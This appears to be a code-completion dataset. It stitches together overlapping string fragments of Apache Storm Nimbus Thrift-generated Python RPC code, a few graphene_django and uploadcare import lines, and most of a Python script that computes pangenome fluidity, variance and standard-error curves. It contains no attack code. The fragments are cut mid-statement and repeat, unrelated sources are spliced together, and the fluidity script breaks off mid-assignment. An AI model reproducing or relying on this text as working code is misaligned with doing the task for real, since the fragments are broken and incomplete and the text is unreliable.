activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = finishFileUpload_result()", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileUpload_result() result.read(self._iprot)", "__ne__(self, other): return not (self == other) class submitTopology_result: \"\"\"", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopology_result() result.read(self._iprot)", "break if fid == 1: if ftype == TType.STRING: self.file", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot, oprot): args", "isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is", "self.success = success def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "), # 1 ) def __init__(self, location=None,): self.location = location", "oprot.writeStructBegin('rebalance_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "= jsonConf args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self,", "== other) class submitTopology_result: \"\"\" Attributes: - e - ite", "1 ) def __init__(self, file=None,): self.file = file def read(self,", "(self == other) class getTopologyConf_args: \"\"\" Attributes: - id \"\"\"", "- options \"\"\" pass def activate(self, name): \"\"\" Parameters: -", "options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid)", "activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "\"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid)", "unknown result\"); def uploadChunk(self, location, chunk): \"\"\" Parameters: - location", "2 ) def __init__(self, name=None, options=None,): self.name = name self.options", "def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args = beginFileUpload_args() args.write(self._oprot)", "== other) class getNimbusConf_result: \"\"\" Attributes: - success \"\"\" thrift_spec", "return oprot.writeStructBegin('beginFileUpload_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0)", "= submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise", "location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args = uploadChunk_args() args.location =", "e \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec),", "oprot.writeStructBegin('getTopologyConf_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id)", "oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot, oprot): args = getTopologyConf_args()", "other) class downloadChunk_args: \"\"\" Attributes: - id \"\"\" thrift_spec =", "(self == other) class beginFileDownload_args: \"\"\" Attributes: - file \"\"\"", "other): return not (self == other) class downloadChunk_args: \"\"\" Attributes:", "try: result.success = self._handler.getUserTopology(args.id) except NotAliveException as e: result.e =", "fid == 1: if ftype == TType.STRING: self.name = iprot.readString();", "return not (self == other) class finishFileUpload_result: thrift_spec = (", "1 ) def __init__(self, location=None,): self.location = location def read(self,", "def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" pass def", "oprot.writeStructBegin('deactivate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "as e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "\"\"\" pass def deactivate(self, name): \"\"\" Parameters: - name \"\"\"", "other) class beginFileDownload_result: \"\"\" Attributes: - success \"\"\" thrift_spec =", "= self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self,", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success is not", "iprot, oprot): args = finishFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = finishFileUpload_result()", "\"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology', TMessageType.CALL, self._seqid) args", "'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 ) def __init__(self,", "self.recv_rebalance() def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args =", "self.file = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", ") def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name = name", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ): (fname, mtype, rseqid) =", "self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop()", "'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite',", "def __init__(self, e=None,): self.e = e def read(self, iprot): if", "not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf failed: unknown result\");", "self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop()", "return not (self == other) class getTopologyInfo_args: \"\"\" Attributes: -", "= Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] =", "= file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname, mtype,", "NotAliveException.thrift_spec), None, ), # 1 ) def __init__(self, e=None,): self.e", "None, ), # 2 ) def __init__(self, location=None, chunk=None,): self.location", "getTopologyInfo_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyInfo(self, ):", "def __ne__(self, other): return not (self == other) class getClusterInfo_result:", "__init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot if oprot", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id", "def __init__(self, location=None, chunk=None,): self.location = location self.chunk = chunk", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location is not", "name - uploadedJarLocation - jsonConf - topology \"\"\" pass def", "id): \"\"\" Parameters: - id \"\"\" pass def getTopology(self, id):", "result.read(self._iprot) self._iprot.readMessageEnd() return def beginFileDownload(self, file): \"\"\" Parameters: - file", "oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot, oprot): args = getTopologyInfo_args() args.read(iprot)", "- jsonConf - topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology()", "InvalidTopologyException.thrift_spec), None, ), # 2 ) def __init__(self, e=None, ite=None,):", "__ne__(self, other): return not (self == other) class getClusterInfo_args: thrift_spec", "oprot.writeFieldEnd() if self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation)" ]
[]
[ "import graphene from graphene_django import DjangoObjectType from graphene_django.converter import convert_django_field", "import DjangoObjectType from graphene_django.converter import convert_django_field from pyuploadcare.dj.models import ImageField", "from graphene_django import DjangoObjectType from graphene_django.converter import convert_django_field from pyuploadcare.dj.models", "graphene_django import DjangoObjectType from graphene_django.converter import convert_django_field from pyuploadcare.dj.models import", "graphene from graphene_django import DjangoObjectType from graphene_django.converter import convert_django_field from", "<gh_stars>1-10 import graphene from graphene_django import DjangoObjectType from graphene_django.converter import" ]
[ "len(N_combos) > args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos", "else: if len(N_combos) > args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N)", "sample and returns list of fluidities. ''' N = len(combo_list[0])", "__init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s [options]", "+ c def neg_exponential(x, a, b, c): return a *", "re, argparse, random, itertools, scipy, warnings, subprocess import numpy as", "*popt_b) if len(set(exponential(x_labels, *popt_t))) <= 3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top,", "except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True,", "return result.x def create_fluidity_results(figure_output, results_output): total_variance = [] for i", "the max number of genomes in the pangenome. ''' N", "genomes present sample_process_list = [] for sample in combo_list: pairs", "1 (i.e. n - 1). Results are a text file", "''' This script follows formulas put forth in Kislyuk et", "N genomes', ) parser.add_argument( '-p', '--prefix', help = 'Prefix to", "= curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels,", "maxY) parameterBounds = [] parameterBounds.append([-maxXY, maxXY]) # seach bounds for", "*popt_t))) <= 3: geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov", "sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for p in jack_pairs] # get", "your graph will probably not look pretty as it's difficult", "pangenome dataset (orthogroups).''', epilog = \"\"\"Written by <NAME> (2019)\"\"\", formatter_class", "= curve_fit(exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov = curve_fit(exponential,", "pair_dict fluidity_i = (2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean =", "func), seed=3) return result.x def create_fluidity_results(figure_output, results_output): total_variance = []", "[] for i in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]),", "ALL possible combinations'\\ 'for N genomes', ) parser.add_argument( '-p', '--prefix',", "[] parameterBounds.append([-maxXY, maxXY]) # seach bounds for a parameterBounds.append([-maxXY, maxXY])", "of pangenome fluidity with shaded regions showing total standard error", "neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t)", "READ.me', metavar='' ) parser.add_argument( '-o', '--out', required = True, help", "solution works best for now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential)", "values') pair_dict = {} # {(Isolate1, Isolate2) : [ratio of", "len(iso_list)): if not iso_list[i] == iso_list[x]: pair = tuple(sorted([iso_list[i], iso_list[x]]))", "v: cogs['Ul'] += 1 else: pass # don't need to", "generate_Initial_Parameters(x_values, y_curve_values, func): # min and max used for bounds", "sampled once). Has a cut off of max subsamples at", "max(y_curve_values) minY = min(y_curve_values) maxXY = max(maxX, maxY) parameterBounds =", "len(combo_list[0]) # get N from number of genomes present sample_process_list", "file of fluidity, variance, and standard error for all N", "sampled genomes (variance of the pangenome)(Kislyuk et al. 2011). However,", "\"\"\"Written by <NAME> (2019)\"\"\", formatter_class = MyFormatter) parser.add_argument( '-i', '--input',", "from all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list])", "all pairs from current jackknife sample jack_sample_fluidity = [pair_dict[tuple(sorted(p))] for", "np.array([x**(1/2) for x in total_variance]) y_fluidity_values = np.array([pan_fluidity for i", "average of all ratios jack_samples = list(combinations(iso_list, N - 1))", "def create_fluidity_results(figure_output, results_output): total_variance = [] for i in range(3,", ") parser.add_argument( '--max_off', action='store_true', help = 'Turn off the max", "sample ALL possible combinations'\\ 'for N genomes', ) parser.add_argument( '-p',", "args.out)) if args.input: input_file = os.path.abspath(args.input) else: print('ERROR: No orthogroups", "(variance of the pangenome)(Kislyuk et al. 2011). However, the script", "for ratio in pair_dict.values()] # list of ratios pangenome_fluidity =", "fit with such a low number of samples. ''' import", "--max_off flag. Turning the max_off will force calculations to be", "have 5 isolates your graph will probably not look pretty", "neg_exponential) popt_t, pcov = curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels,", "* np.exp(b * x) + c def neg_exponential(x, a, b,", "ax = plt.subplots() try: # Still had problems sometimes with", "maxY = max(y_curve_values) minY = min(y_curve_values) maxXY = max(maxX, maxY)", "with open(results_output, 'w') as results: # print out fluidity results", "-o output_folder', description = ''' Performs multiple bootstraps and calculates", "ortho_dict.values() if len(v) == iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results =", "from 3 to N randomly sampled genomes (N is the", "and get their unique sum gene clusters.''' print('Creating dictionary of", "scipy.optimize import curve_fit, differential_evolution rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def", "1): if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof = 1) +", "isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict def", "ls='--', lw=1, color='black') # plot y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1,", "= np.array([(pan_fluidity - v) for v in total_stderr]) stderr_top =", "[pair_dict[tuple(sorted(p))] for p in jack_pairs] # get ratios from pair_dict", "cores to use for multiprocessing [default: 1]', metavar='' ) parser.add_argument(", "'Uk' : 0, 'Ul' : 0} for k,v in ortho_dictionary.items():", "'--out', required = True, help = 'Output folder', metavar='' )", "i in fluidity_i_list]) # calculate variance return pangenome_fluidity, fluidity_variance def", "for v in total_stderr]) fig, ax = plt.subplots() try: #", "all combos of N-1 from max num of genomes fluidity_i_list", "= True, help = 'Output folder', metavar='' ) parser.add_argument( '-c',", "N genome samples and a figure of pangenome fluidity with", "subsamples the subsamples are sampled WITH replacement and variance is", "in v: cogs['Ul'] += 1 else: pass # don't need", "c def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") # do not", "# do not print warnings by genetic algorithm val =", "= curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels,", "maxXY]) # seach bounds for a parameterBounds.append([-maxXY, maxXY]) # seach", "x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t))) > 3 and", "Isolate2) : [ratio of sum(unique clusters)/sum(all clusters)]} for i in", "low number of samples. ''' import os, sys, re, argparse,", "= np.array([x**(1/2) for x in total_variance]) y_fluidity_values = np.array([pan_fluidity for", "is the max number of gneomes in sample, so only", "total_variance = np.array(total_variance) total_stderr = np.array([x**(1/2) for x in total_variance])", "Computes the fluidity and variance for the pangenome in question", "the fluidity and variance for the pangenome in question from", "= max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y +", "in question from the max number of genomes in the", "isolates and get their unique sum gene clusters.''' print('Creating dictionary", "i in range(0, len(iso_list)): for x in range(0, len(iso_list)): if", "[combos[i:i + chunk] for i in range(0, len(combos), chunk)] pool", "type=int, default=1, help = 'Number of cores to use for", "as total variance containing both the variance due to subsampling", "cogs['Uk'] + cogs['Ul'] all_pair = (cogs['Uk'] + cogs['Shared']) + (cogs['Ul']", "''' Computes the fluidity and variance for the pangenome in", "in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list):", "all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list]) #", "at the max number of subsamples the subsamples are sampled", "*popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t) bottom_curve", "item def exponential(x, a, b, c): return a * np.exp(b", "stderr_bottom, neg_exponential) popt_b, pcov = curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000)", "subsamples set to 250,000 for each N genomes. This can", "the script sample ALL possible combinations'\\ 'for N genomes', )", "= create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance =", "get their unique sum gene clusters.''' print('Creating dictionary of paired", "elif '\\t' in line: cluster, genes = line.split('\\t', 1) else:", "pass if len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom,", "= argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups -o output_folder', description =", "in range(0, len(combos), chunk)] pool = Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess,", "for p in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list", "sub_fluid_dict = {} # {N genomes sampled : [list of", "in cluster} with open(ortho_file, 'r') as infile: ortho_list = [item.strip()", "at least 5 isolates to make up your pangenome. 2.", "2. If you have 5 isolates your graph will probably", "of N-1 from max num of genomes fluidity_i_list = []", "iso_num]))) pair_dict = create_pair_dictionary(ortho_dict) pan_results = compute_fluidity_all_genomes() pan_fluidity = pan_results[0]", "combos of N-1 from max num of genomes fluidity_i_list =", "exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov = curve_fit(exponential,", "*popt_b))) <= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov", "dataset (orthogroups).''', epilog = \"\"\"Written by <NAME> (2019)\"\"\", formatter_class =", "> 3 and len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t),", "curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b),", "genetic algorithm val = func(x_values, *parameterTuple) return np.sum((y_curve_values - val)", "variances (n-1) instead of full population variances. ''' sub_fluid_dict =", ") parser.add_argument( '-c', '--cpus', type=int, default=1, help = 'Number of", "generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov = curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top,", "alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels, *popt_b) else:", "max(x_values) minX = min(x_values) maxY = max(y_curve_values) minY = min(y_curve_values)", "not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file", "maxXY = max(maxX, maxY) parameterBounds = [] parameterBounds.append([-maxXY, maxXY]) #", "standard error are estimated as total variance containing both the", "was provided please provide on, -i or --input') sys.exit() if", "plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels,", "x) + c def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") #", "= tuple(sorted([iso_list[i], iso_list[x]])) if not pair in pair_dict.keys(): cogs =", "n - 1). Results are a text file of fluidity,", "tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p in pairs] sample_fluidity =", "by genetic algorithm val = func(x_values, *parameterTuple) return np.sum((y_curve_values -", "question from the max number of genomes in the pangenome.", "all ratios jack_samples = list(combinations(iso_list, N - 1)) # get", "will cause the script sample ALL possible combinations'\\ 'for N", "all possible unique pairs of isolates and get their unique", "N_combos = list(combinations(iso_list, N)) if args.max_off: combos = N_combos else:", "{Protein Cluster : list of isolates represented in cluster} with", "stderr_bottom = np.array([(pan_fluidity - v) for v in total_stderr]) stderr_top", "import OrderedDict from collections.abc import Iterable from scipy.optimize import curve_fit,", "0 max_y = max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y - min_y*0.15),", "which point variances are calcualted as sample variances (n-1) instead", "split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N]))", "plt.ylim((min_y - min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number of genomes sampled')", "combos = N_combos else: if len(N_combos) > args.max_subsamples: combos =", "per cluster '''Genereate dictionary of Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict", "pair[1] in v: cogs['Ul'] += 1 else: pass # don't", "= max(y_curve_values) minY = min(y_curve_values) maxXY = max(maxX, maxY) parameterBounds", "parser.add_argument( '-c', '--cpus', type=int, default=1, help = 'Number of cores", "pair_dict def compute_fluidity_all_genomes(): ''' Computes the fluidity and variance for", "by <NAME> (2019)\"\"\", formatter_class = MyFormatter) parser.add_argument( '-i', '--input', required", "= np.array([pan_fluidity for i in range(3, iso_num + 1)]) x_labels", "popt_t, pcov = curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels,", "--max_subsamples flag or turned off with the --max_off flag. Turning", "def compute_fluidity_all_genomes(): ''' Computes the fluidity and variance for the", "altered with the -max_sub / --max_subsamples flag or turned off", "in range(3, iso_num + 1)]) stderr_bottom = np.array([(pan_fluidity - v)", "is calculated with a degree of freedom = 1 (i.e.", "your pangenome. 2. If you have 5 isolates your graph", "from all possible combinations of genomes from 3 to N", "<NAME> (2019)\"\"\", formatter_class = MyFormatter) parser.add_argument( '-i', '--input', required =", "numpy random number generator for repeatable results result = differential_evolution(sumOfSquaredError,", "of cores to use for multiprocessing [default: 1]', metavar='' )", "for item in lis: if isinstance(item, Iterable) and not isinstance(item,", "combinations from collections import OrderedDict from collections.abc import Iterable from", "standard error for all N genome samples and a figure", "minY = min(y_curve_values) maxXY = max(maxX, maxY) parameterBounds = []", "tuple(sorted([iso_list[i], iso_list[x]])) if not pair in pair_dict.keys(): cogs = {'Shared'", "min and max used for bounds maxX = max(x_values) minX", "linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white', alpha=0.5)", "# plot y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) # make", "in fluidity_i_list]) # calculate variance return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list):", "description = ''' Performs multiple bootstraps and calculates genome fluidity", "for all N genome samples and a figure of pangenome", "from scipy.optimize import curve_fit, differential_evolution rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter):", "as it's difficult to fit with such a low number", "= generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t,", "off of max subsamples at which point variances are calcualted", "argparse, random, itertools, scipy, warnings, subprocess import numpy as np", "pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): ''' Takes portions of the full", "ratios jack_samples = list(combinations(iso_list, N - 1)) # get list", "pcov = curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t)))", "#!/usr/bin/python3 ''' This script follows formulas put forth in Kislyuk", "random number generator for repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds,", "off the max subsamples. This will cause the script sample", "[] if ':' in line: cluster, genes = line.split(':') elif", "r_out = [] for i in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity),", "to 250,000 for each N genomes. This can be altered", "a cut off of max subsamples at which point variances", "plt.subplots() try: # Still had problems sometimes with fitting curves,", "bootstraps and calculates genome fluidity from a pangenome dataset (orthogroups).''',", "args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png'))", "look pretty as it's difficult to fit with such a", "+ 1): sub_fluid_dict[N] = [] N_combos = list(combinations(iso_list, N)) if", "neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) else: pass if len(set(exponential(x_labels,", "import combinations from collections import OrderedDict from collections.abc import Iterable", "total pool of genomes and the variance due to the", "calculate genome fluidity of a pangenome dataset. Variance and standard", "os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir,", "pan_fluidity = pan_results[0] pan_variance = pan_results[1] permutation_list = [] sub_fluid_dict", "in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for", "genes = line.split('\\t', 1) else: cluster, genes = line.split(' ',", "N from number of genomes present sample_process_list = [] for", "unique_pair = cogs['Uk'] + cogs['Ul'] all_pair = (cogs['Uk'] + cogs['Shared'])", "maxXY]) # seach bounds for b parameterBounds.append([-maxXY, maxXY]) # seach", "+ 1)]) x_labels = np.array([i for i in range(3, iso_num", "pair = tuple(sorted([iso_list[i], iso_list[x]])) if not pair in pair_dict.keys(): cogs", "line in r_out: results.write('\\t'.join(line) + '\\n') if __name__ == \"__main__\":", "fluidities. ''' N = len(combo_list[0]) # get N from number", "and len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b),", "def subsample_multiprocess(combo_list): ''' Takes portions of the full combo_list and", "random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos = N_combos print('Performing fluidity calculations", "plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white')", "from the max number of genomes in the pangenome. '''", "os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir,", "create_fluidity_results(figure_output, results_output): total_variance = [] for i in range(3, iso_num", "point variances are calcualted as sample variances (n-1) instead of", "(max_y + max_y*0.15)) plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout()", "forth in Kislyuk et al. (2011) to calculate genome fluidity", "the pangenome in question from the max number of genomes", "sample_process_list = [] for sample in combo_list: pairs = tuple(combinations(sample,2))", "results = pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results) else: last_run =", "fitting curves, this solution works best for now geneticParameters_top =", "__name__ == \"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num = max([len(v) for", "not look pretty as it's difficult to fit with such", "see format in READ.me', metavar='' ) parser.add_argument( '-o', '--out', required", "if pair[0] in v and pair[1] in v: cogs['Shared'] +=", "3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov = curve_fit(neg_exponential,", "[] for sample in combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list =", "metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000, help = 'Max", "= [pair_dict[tuple(sorted(p))] for p in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity)", "variance due to the limited number of sampled genomes (variance", "etc.)', metavar='' ) args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir =", "list(combinations(iso_list, N)) if args.max_off: combos = N_combos else: if len(N_combos)", "for i in range(3, iso_num + 1): if i in", "geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential)", "for x in range(0, len(iso_list)): if not iso_list[i] == iso_list[x]:", "processing. Calcualtes fluidity for each sample and returns list of", "subsamples to run on N genomes sampled. [default: 250000]', metavar=''", "fluid_results = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file):", "present sample_process_list = [] for sample in combo_list: pairs =", "os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser", "combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p in", "str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line in r_out: results.write('\\t'.join(line) +", "bounds for c # \"seed\" the numpy random number generator", "v) for v in total_stderr]) fig, ax = plt.subplots() try:", "= exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t)))", "cogs['Shared']) + (cogs['Ul'] + cogs['Shared']) pair_dict[pair] = unique_pair/all_pair return pair_dict", "*popt_t) bottom_curve = neg_exponential(x_labels, *popt_b) else: pass except: pass ax.set_axisbelow(True)", "maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t), neg_exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve =", "fit. Notes 1. This will only work if you have", "last_run = 